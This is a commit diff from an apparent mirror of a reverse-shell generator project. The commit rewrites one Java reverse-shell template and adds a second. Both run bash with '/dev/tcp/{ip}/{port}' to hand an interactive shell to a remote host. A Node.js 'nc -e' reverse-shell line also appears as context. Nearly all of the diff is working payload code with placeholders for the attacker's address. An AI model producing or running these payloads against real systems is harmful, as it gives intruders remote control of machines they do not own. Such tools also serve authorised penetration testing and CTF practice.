mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2025-01-18 17:05:26 +00:00
Update Java shells and remove some unnecessary cruft
This commit is contained in:
parent
9e3e92fdfe
commit
8ac7183a23
@ -248,9 +248,14 @@ const reverseShellCommands = withCommandType(
|
||||
"command": "require('child_process').exec('nc -e {shell} {ip} {port}')",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
{
|
||||
"name": "Java #1",
|
||||
"command": "import java.io.BufferedReader;\nimport java.io.InputStreamReader;\n\npublic class shell {\n public static void main(String args[]) {\n String s;\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}",
|
||||
"command": "public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Java #2",
|
||||
"command": "public class shell {\n public static void main(String[] args) {\n ProcessBuilder pb = new ProcessBuilder(\"bash\", \"-c\", \"$@| bash -i >& /dev/tcp/{ip}/{port} 0>&1\")\n .redirectErrorStream(true);\n try {\n Process p = pb.start();\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
|
Loading…
Reference in New Issue
Block a user